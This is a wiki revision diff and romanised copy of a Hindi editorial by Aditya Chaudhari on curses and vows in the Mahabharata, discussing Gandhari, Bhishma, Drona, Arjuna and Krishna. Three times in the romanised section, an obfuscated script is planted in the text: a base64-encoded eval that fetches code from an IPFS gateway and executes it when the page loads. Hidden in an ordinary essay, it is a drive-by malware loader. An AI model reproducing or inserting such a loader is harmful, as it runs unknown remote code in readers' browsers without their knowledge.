Difference between revisions of "शाप और प्रतिज्ञा -आदित्य चौधरी"
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+ | [[चित्र:Facebook-icon-2.png|20px|link=http://www.facebook.com/profile.php?id=100000418727453|फ़ेसबुक पर आदित्य चौधरी]] [http://www.facebook.com/profile.php?id=100000418727453 आदित्य चौधरी] | ||
<div style=text-align:center; direction: ltr; margin-left: 1em;><font color=#003333 size=5>शाप और प्रतिज्ञा<small> -आदित्य चौधरी</small></font></div><br /> | <div style=text-align:center; direction: ltr; margin-left: 1em;><font color=#003333 size=5>शाप और प्रतिज्ञा<small> -आदित्य चौधरी</small></font></div><br /> | ||
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− | "आपका शाप मुझे तब तक हानि नहीं पहुँचा सकता माते! जब तक कि मैं उसे स्वीकार न कर लूँ। मैं साक्षात् ईश्वर हूँ और आप नश्वर, मृत्युलोक की शरीरधारी स्त्री मात्र, | + | "आपका शाप मुझे तब तक हानि नहीं पहुँचा सकता माते! जब तक कि मैं उसे स्वीकार न कर लूँ। मैं साक्षात् ईश्वर हूँ और आप नश्वर, मृत्युलोक की शरीरधारी स्त्री मात्र, तदैव आपका शाप, द्वापर युग में अवतरित मेरे सोलह अंशों के पूर्णावतार, अर्थात समस्त सोलह कलाओं से युक्त अवतार, 'कृष्ण' को प्रभावित करने में सक्षम नहीं होगा, फिर भी आप निश्चिंत रहें, मेरी कोई आयोजना ऐसी नहीं जिससे मैं अपनी उपस्थिति को एक माँ से श्रेष्ठ स्थापित करने का प्रयत्न करूँ। इसलिए माते! मैं आपके शाप को विनम्रता से स्वीकार करता हूँ। अब यदुकुल वंश का समूल नाश वैसे ही होना अवश्यंभावी है जैसा आपके शाप में संकल्पित है।" |
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शाप और प्रतिज्ञा के प्रसंग पौराणिक काल में अनेक बार आए हैं। [[महाभारत]] ग्रंथ में अनेक प्रतिज्ञाओं के प्रसंग हैं। कोई भी प्रतिज्ञा जब हम करते हैं, तो हम प्रतिज्ञाबद्ध हो जाते हैं। हमारे लिए सबसे महत्त्वपूर्ण तत्त्व होता है हमारी की गयी प्रतिज्ञा। वरीयता क्रम में हम प्रत्येक इस प्रतिज्ञा से भिन्न तत्त्व के अस्तित्व को महत्त्वहीन कर देते हैं। इस बार हम पौराणिक काल विशेषकर महाभारतकालीन वचनों, प्रतिज्ञाओं, मर्यादाओं और शापों पर विचार करेंगे। प्रतिज्ञा कौन करता है ? और प्रतिज्ञा के क्या वही परिणाम होते हैं जो प्रत्यक्ष में दिखायी देते हैं ? अथवा इन प्रतिज्ञाओं के पीछे छुपे कुछ ऐसे भी परिणाम होते हैं, जो समाज के लिए अत्यंत हानिकारक भी सिद्ध होते हैं। | शाप और प्रतिज्ञा के प्रसंग पौराणिक काल में अनेक बार आए हैं। [[महाभारत]] ग्रंथ में अनेक प्रतिज्ञाओं के प्रसंग हैं। कोई भी प्रतिज्ञा जब हम करते हैं, तो हम प्रतिज्ञाबद्ध हो जाते हैं। हमारे लिए सबसे महत्त्वपूर्ण तत्त्व होता है हमारी की गयी प्रतिज्ञा। वरीयता क्रम में हम प्रत्येक इस प्रतिज्ञा से भिन्न तत्त्व के अस्तित्व को महत्त्वहीन कर देते हैं। इस बार हम पौराणिक काल विशेषकर महाभारतकालीन वचनों, प्रतिज्ञाओं, मर्यादाओं और शापों पर विचार करेंगे। प्रतिज्ञा कौन करता है ? और प्रतिज्ञा के क्या वही परिणाम होते हैं जो प्रत्यक्ष में दिखायी देते हैं ? अथवा इन प्रतिज्ञाओं के पीछे छुपे कुछ ऐसे भी परिणाम होते हैं, जो समाज के लिए अत्यंत हानिकारक भी सिद्ध होते हैं। | ||
भीष्म प्रतिज्ञा सबसे अधिक प्रसिद्ध है, जिसमें गंगापुत्र देवव्रत, आजन्म ब्रह्मचर्य व्रत धारण कर एवं सिंहासन का त्याग कर देवव्रत से 'भीष्म' बन जाते हैं। यदि [[भीष्म]] ने यह प्रतिज्ञा न की होती तो [[हस्तिनापुर]] के राजसिंहासन पर पुत्र मोह से विवश नेत्रहीन [[धृतराष्ट्र]] न बैठता और महाभारत युद्ध के समीकरण बने ही न होते। प्रतिज्ञा करते समय भीष्म ने अपने पिता की अनुचित इच्छा पूर्ति को ही ध्यान में रखा, हस्तिनापुर की जनता के प्रति उत्तरदायित्व को वे भूल गए। | भीष्म प्रतिज्ञा सबसे अधिक प्रसिद्ध है, जिसमें गंगापुत्र देवव्रत, आजन्म ब्रह्मचर्य व्रत धारण कर एवं सिंहासन का त्याग कर देवव्रत से 'भीष्म' बन जाते हैं। यदि [[भीष्म]] ने यह प्रतिज्ञा न की होती तो [[हस्तिनापुर]] के राजसिंहासन पर पुत्र मोह से विवश नेत्रहीन [[धृतराष्ट्र]] न बैठता और महाभारत युद्ध के समीकरण बने ही न होते। प्रतिज्ञा करते समय भीष्म ने अपने पिता की अनुचित इच्छा पूर्ति को ही ध्यान में रखा, हस्तिनापुर की जनता के प्रति उत्तरदायित्व को वे भूल गए। | ||
− | भीष्म | + | भीष्म की केवल पुरुषों से ही युद्ध करने और स्त्रियों पर अस्त्र न उठाने की प्रतिज्ञा भी राज-हित में नहीं थी और जिसका परिणाम हुआ भीष्म की मृत्यु और [[कौरव|कौरवों]] की हार। भीष्म यह क्यों भूल गए कि उनकी एक प्रतिज्ञा यह भी थी कि वे हस्तिनापुर की रक्षा करेंगे। इस हस्तिनापुर के सिंहासन की वफ़ादारी करने में उन्होंने [[द्रौपदी]] के भरी सभा में अपमान को भी अनदेखा कर दिया था। जबकि कृष्ण ने अपनी शस्त्र न उठाने की प्रतिज्ञा को अपने मित्र [[अर्जुन]] की रक्षा हेतु तोड़ दिया। कृष्ण ने अपने उद्देश्य की सफलता में प्रतिज्ञा को बाधक बनते देखा तो उन्होंने प्रतिज्ञा तोड़ दी। |
[[द्रोणाचार्य]] की प्रतिज्ञा में पुत्र मोह की पराकाष्ठा थी, जो कि [[अश्वत्थामा]] के मरने के झूठे समाचार के कारण, उनके अस्त्र त्याग करने से, उनकी मृत्यु का कारण बनी। असल में अपनी प्रतिज्ञाओं को लेकर भीष्म और द्रोणाचार्य दोनों ही ऊहापोह की स्थिति में थे। द्रोणाचार्य का अश्वथामा की मृत्यु के समाचार मिलते ही युद्धभूमि में अस्त्र त्यागकर ध्यानस्थ हो जाना क्या एक युद्ध का सेनापतित्व करने वाले व्यक्ति के लिए ठीक था, जब कि युद्ध भी महाभारत का हो और प्रतिष्ठा हो हस्तिनापुर की। सरल सी बात है कि यह प्रतिज्ञा स्वार्थपूर्ण थी न कि कर्तव्यपूर्ण।</poem> | [[द्रोणाचार्य]] की प्रतिज्ञा में पुत्र मोह की पराकाष्ठा थी, जो कि [[अश्वत्थामा]] के मरने के झूठे समाचार के कारण, उनके अस्त्र त्याग करने से, उनकी मृत्यु का कारण बनी। असल में अपनी प्रतिज्ञाओं को लेकर भीष्म और द्रोणाचार्य दोनों ही ऊहापोह की स्थिति में थे। द्रोणाचार्य का अश्वथामा की मृत्यु के समाचार मिलते ही युद्धभूमि में अस्त्र त्यागकर ध्यानस्थ हो जाना क्या एक युद्ध का सेनापतित्व करने वाले व्यक्ति के लिए ठीक था, जब कि युद्ध भी महाभारत का हो और प्रतिष्ठा हो हस्तिनापुर की। सरल सी बात है कि यह प्रतिज्ञा स्वार्थपूर्ण थी न कि कर्तव्यपूर्ण।</poem> | ||
− | {{बाँयाबक्सा|पाठ=[[शिशुपाल]] को मारने में भी कृष्ण ने एक ऐसा संदेश दिया जिससे बहुत बड़ी | + | {{बाँयाबक्सा|पाठ=[[शिशुपाल]] को मारने में भी कृष्ण ने एक ऐसा संदेश दिया जिससे बहुत बड़ी राजनीतिक रणनीति की शिक्षा मिलती है। शिशुपाल कोई छोटा-मोटा राजा नहीं था जिसे मारना और मारकर शांत बैठ पाना आसान हो। निन्यानवे अपराध क्षमा करना कृष्ण की एक सोची समझी रणनीति थी जिसमें छिपे हुए संदेश को समझना बहुत आवश्यक है।|विचारक=}} |
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इन्हीं प्रतिज्ञाओं के सिलसिले में अर्जुन ने भी एक ऐसी प्रतिज्ञा की जिससे महाभारत युद्ध का परिणाम कौरवों के पक्ष में जा सकता था। [[अभिमन्यु]] के अमानवीय वध के उपरांत अर्जुन ने सूर्यास्त से पहले ही जयद्रथ को मारने का संकल्प लिया अन्यथा अपने प्राण त्यागने की प्रतिज्ञा की। पूरा दिन निकल जाने पर भी जब [[जयद्रथ]] नहीं मिला तो कृष्ण ने [[सूर्य]] को बादलों के पीछे ढक कर रात का आभास करा दिया और अर्जुन की आत्मबलि देखने के लिए जयद्रथ भी आ पहुँचा। कृष्ण ने सूर्य के सामने से बादल हटा दिए और जयद्रथ का वध करके अर्जुन ने अपनी प्रतिज्ञा पूरी की। ज़रा सोचिए कि अपनी प्रतिज्ञा न पूरी कर पाने के कारण अर्जुन मारा जाता तो ? महाभारत का परिणाम क्या होता! पुत्र मोह में अर्जुन की प्रतिज्ञा पूरा समीकरण बदल सकती थी। यह प्रतिज्ञा भी स्वार्थ से वशीभूत थी। | इन्हीं प्रतिज्ञाओं के सिलसिले में अर्जुन ने भी एक ऐसी प्रतिज्ञा की जिससे महाभारत युद्ध का परिणाम कौरवों के पक्ष में जा सकता था। [[अभिमन्यु]] के अमानवीय वध के उपरांत अर्जुन ने सूर्यास्त से पहले ही जयद्रथ को मारने का संकल्प लिया अन्यथा अपने प्राण त्यागने की प्रतिज्ञा की। पूरा दिन निकल जाने पर भी जब [[जयद्रथ]] नहीं मिला तो कृष्ण ने [[सूर्य]] को बादलों के पीछे ढक कर रात का आभास करा दिया और अर्जुन की आत्मबलि देखने के लिए जयद्रथ भी आ पहुँचा। कृष्ण ने सूर्य के सामने से बादल हटा दिए और जयद्रथ का वध करके अर्जुन ने अपनी प्रतिज्ञा पूरी की। ज़रा सोचिए कि अपनी प्रतिज्ञा न पूरी कर पाने के कारण अर्जुन मारा जाता तो ? महाभारत का परिणाम क्या होता! पुत्र मोह में अर्जुन की प्रतिज्ञा पूरा समीकरण बदल सकती थी। यह प्रतिज्ञा भी स्वार्थ से वशीभूत थी। | ||
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ये प्रतिज्ञाएँ क्यों होती थीं ? क्या मानसिकता कार्य करती थी इनके पीछे ? क्या ऐसा नहीं लगता कि जब हमें अपने ऊपर किसी कार्य को कर पाने का विश्वास नहीं होता, तभी प्रतिज्ञा की जाती है। यदि महाभारत के प्रसंगों को ही देखें तो पता चलता है कि कृष्ण ने कोई प्रतिज्ञा नहीं की और एक की भी थी तो वह भी भीष्म ने युद्ध में अस्त्र उठवाकर तुड़वा दी थी। सहज रूप से जीवन जीने वाले कृष्ण को किसी प्रतिज्ञा की आवश्यकता थी भी नहीं। यहाँ तक कि कृष्ण ने जो महाभारत में शस्त्र न उठाने की प्रतिज्ञा की थी वह भी किसी निजी स्वार्थ के चलते नहीं की थी। | ये प्रतिज्ञाएँ क्यों होती थीं ? क्या मानसिकता कार्य करती थी इनके पीछे ? क्या ऐसा नहीं लगता कि जब हमें अपने ऊपर किसी कार्य को कर पाने का विश्वास नहीं होता, तभी प्रतिज्ञा की जाती है। यदि महाभारत के प्रसंगों को ही देखें तो पता चलता है कि कृष्ण ने कोई प्रतिज्ञा नहीं की और एक की भी थी तो वह भी भीष्म ने युद्ध में अस्त्र उठवाकर तुड़वा दी थी। सहज रूप से जीवन जीने वाले कृष्ण को किसी प्रतिज्ञा की आवश्यकता थी भी नहीं। यहाँ तक कि कृष्ण ने जो महाभारत में शस्त्र न उठाने की प्रतिज्ञा की थी वह भी किसी निजी स्वार्थ के चलते नहीं की थी। | ||
− | [[शिशुपाल]] को मारने में भी कृष्ण ने एक ऐसा संदेश दिया जिससे बहुत | + | [[शिशुपाल]] को मारने में भी कृष्ण ने एक ऐसा संदेश दिया जिससे बहुत बड़ी राजनीतिक रणनीति की शिक्षा मिलती है। शिशुपाल कोई छोटा-मोटा राजा नहीं था जिसे मारना और मारकर शांत बैठ पाना आसान हो। निन्यानवे अपराध क्षमा करना कृष्ण की एक सोची समझी रणनीति थी जिसमें छिपे हुए संदेश को समझना बहुत आवश्यक है। निन्यानवे अपराधों तक कृष्ण ने शक्ति और समर्थन की प्रतीक्षा की और जब सभी यह चाहने लगे कि अब तो शिशुपाल ने अति कर दी है, तब कृष्ण ने उसे मारा। शिशुपाल के वध को सभी ने सही माना। इसीलिए शिशुपाल वध को मृत्युदण्ड की मान्यता मिली। |
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{{बाँयाबक्सा|पाठ=शाप देना भी जैसे ख़ुद ही शापित हो जाना है। पौराणिक कथाओं में अनेक उदाहरण ऐसे हैं जब शाप देने वाले को शाप देते ही तुरंत पछतावा हुआ और उसने अपने शाप से मुक्त होने का उपाय भी उसी क्षण बता दिया।|विचारक=}} | {{बाँयाबक्सा|पाठ=शाप देना भी जैसे ख़ुद ही शापित हो जाना है। पौराणिक कथाओं में अनेक उदाहरण ऐसे हैं जब शाप देने वाले को शाप देते ही तुरंत पछतावा हुआ और उसने अपने शाप से मुक्त होने का उपाय भी उसी क्षण बता दिया।|विचारक=}} | ||
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− | प्रतिज्ञा, शपथ, वचन आदि सारी बातें मनुष्य के कमज़ोर पक्ष को उजागर करती हैं। कहीं सुना है कि किसी | + | प्रतिज्ञा, शपथ, वचन आदि सारी बातें मनुष्य के कमज़ोर पक्ष को उजागर करती हैं। कहीं सुना है कि किसी माँ को यह प्रतिज्ञा दिलाई जाती हो कि वह अपने बच्चे को अवश्य पालेगी ? ऐसी कोई प्रतिज्ञा नहीं होती क्योंकि यह प्रकृति की एक सामान्य प्रक्रिया है। वचनों की प्रक्रिया तो मनुष्य निर्मित नियमों को मानने में लागू होती है, जैसे विवाह संस्था, नौकरी, न्यायप्रक्रिया आदि। हिन्दू विवाह में पति पत्नी द्वारा सात वचन निभाने की प्रक्रिया होती है क्योंकि यह उतना अटूट रिश्ता नहीं है जितना माता और संतान का। इसलिए वचन निबाहने की प्रक्रिया अपनाई जाती है। |
वास्तविक स्थिति यह है कि जब हम कहते हैं कि यह मेरा निश्चय है या ऐसा मैंने तय किया है तो हम स्वयं को विश्वास दिला रहे होते हैं कि हम 'यह' कर सकते हैं। ये सारे निश्चय होते हैं- पढ़ने, डाइटिंग, कसरत, आदि जैसे किसी ऐसे कार्य के लिए जो सामान्यत: हमारी रुचि के नहीं है। निश्चय ही असामान्य परिस्थितियों के लिए बनी हैं ये प्रतिज्ञाएँ। | वास्तविक स्थिति यह है कि जब हम कहते हैं कि यह मेरा निश्चय है या ऐसा मैंने तय किया है तो हम स्वयं को विश्वास दिला रहे होते हैं कि हम 'यह' कर सकते हैं। ये सारे निश्चय होते हैं- पढ़ने, डाइटिंग, कसरत, आदि जैसे किसी ऐसे कार्य के लिए जो सामान्यत: हमारी रुचि के नहीं है। निश्चय ही असामान्य परिस्थितियों के लिए बनी हैं ये प्रतिज्ञाएँ। | ||
शाप देना भी जैसे ख़ुद ही शापित हो जाना है। पौराणिक कथाओं में अनेक उदाहरण ऐसे हैं जब शाप देने वाले को शाप देते ही तुरंत पछतावा हुआ और उसने अपने शाप से मुक्त होने का उपाय भी उसी क्षण बता दिया। किसी भी कमज़ोर व्यक्ति के आकस्मिक क्रोध की परिणति ही शाप है। शाप देने वाले की मानसिकता भी लगभग वही है जो प्रतिज्ञा करने वाले की। शाप वही देता है जो प्रत्यक्ष रूप से प्रतिशोध लेने में सक्षम नहीं होता। जो सक्षम होगा वह तो तुरंत ही बदला ले लेगा। | शाप देना भी जैसे ख़ुद ही शापित हो जाना है। पौराणिक कथाओं में अनेक उदाहरण ऐसे हैं जब शाप देने वाले को शाप देते ही तुरंत पछतावा हुआ और उसने अपने शाप से मुक्त होने का उपाय भी उसी क्षण बता दिया। किसी भी कमज़ोर व्यक्ति के आकस्मिक क्रोध की परिणति ही शाप है। शाप देने वाले की मानसिकता भी लगभग वही है जो प्रतिज्ञा करने वाले की। शाप वही देता है जो प्रत्यक्ष रूप से प्रतिशोध लेने में सक्षम नहीं होता। जो सक्षम होगा वह तो तुरंत ही बदला ले लेगा। | ||
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इस सप्ताह इतना ही... अगले सप्ताह कुछ और... | इस सप्ताह इतना ही... अगले सप्ताह कुछ और... | ||
-आदित्य चौधरी | -आदित्य चौधरी | ||
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Latest revision as of 14:10, 2 June 2017
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20px|link=http://www.facebook.com/bharatdiscovery|fesabuk par bharatakosh (nee shuruat) bharatakosh shap aur pratijna -adity chaudhari "apaka shap mujhe tab tak hani nahian pahuancha sakata mate! jab tak ki maian use svikar n kar looan. maian sakshath eeshvar hooan aur ap nashvar, mrityulok ki shariradhari stri matr, tadaiv apaka shap, dvapar yug mean avatarit mere solah aanshoan ke poornavatar, arthat samast solah kalaoan se yukt avatar, 'krishna' ko prabhavit karane mean saksham nahian hoga, phir bhi ap nishchiant rahean, meri koee ayojana aisi nahian jisase maian apani upasthiti ko ek maan se shreshth sthapit karane ka prayatn karooan. isalie mate! maian apake shap ko vinamrata se svikar karata hooan. ab yadukul vansh ka samool nash vaise hi hona avashyanbhavi hai jaisa apake shap mean sankalpit hai." gaandhari ne apane sabhi putroan ke mare jane par krishna ko shap diya ki unake kul-vansh ka samool nash ho jaega aur pauranik sandarbh aur manyataean aisa hi kahati haian ki kalaantar mean aisa hi hua.
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> inhian pratijnaoan ke silasile mean arjun ne bhi ek aisi pratijna ki jisase mahabharat yuddh ka parinam kauravoan ke paksh mean ja sakata tha. abhimanyu ke amanaviy vadh ke uparaant arjun ne sooryast se pahale hi jayadrath ko marane ka sankalp liya anyatha apane pran tyagane ki pratijna ki. poora din nikal jane par bhi jab jayadrath nahian mila to krishna ne soory ko badaloan ke pichhe dhak kar rat ka abhas kara diya aur arjun ki atmabali dekhane ke lie jayadrath bhi a pahuancha. krishna ne soory ke samane se badal hata die aur jayadrath ka vadh karake arjun ne apani pratijna poori ki. zara sochie ki apani pratijna n poori kar pane ke karan arjun mara jata to ? mahabharat ka parinam kya hota! putr moh mean arjun ki pratijna poora samikaran badal sakati thi. yah pratijna bhi svarth se vashibhoot thi.
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ye pratijnaean kyoan hoti thian ? kya manasikata kary karati thi inake pichhe ? kya aisa nahian lagata ki jab hamean apane oopar kisi kary ko kar pane ka vishvas nahian hota, tabhi pratijna ki jati hai. yadi mahabharat ke prasangoan ko hi dekhean to pata chalata hai ki krishna ne koee pratijna nahian ki aur ek ki bhi thi to vah bhi bhishm ne yuddh mean astr uthavakar tu dava di thi. sahaj roop se jivan jine vale krishna ko kisi pratijna ki avashyakata thi bhi nahian. yahaan tak ki krishna ne jo mahabharat mean shastr n uthane ki pratijna ki thi vah bhi kisi niji svarth ke chalate nahian ki thi.
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> pratijna, shapath, vachan adi sari batean manushy ke kamazor paksh ko ujagar karati haian. kahian suna hai ki kisi maan ko yah pratijna dilaee jati ho ki vah apane bachche ko avashy palegi ? aisi koee pratijna nahian hoti kyoanki yah prakriti ki ek samany prakriya hai. vachanoan ki prakriya to manushy nirmit niyamoan ko manane mean lagoo hoti hai, jaise vivah sanstha, naukari, nyayaprakriya adi. hindoo vivah mean pati patni dvara sat vachan nibhane ki prakriya hoti hai kyoanki yah utana atoot rishta nahian hai jitana mata aur santan ka. isalie vachan nibahane ki prakriya apanaee jati hai. |
pichhale sampadakiy
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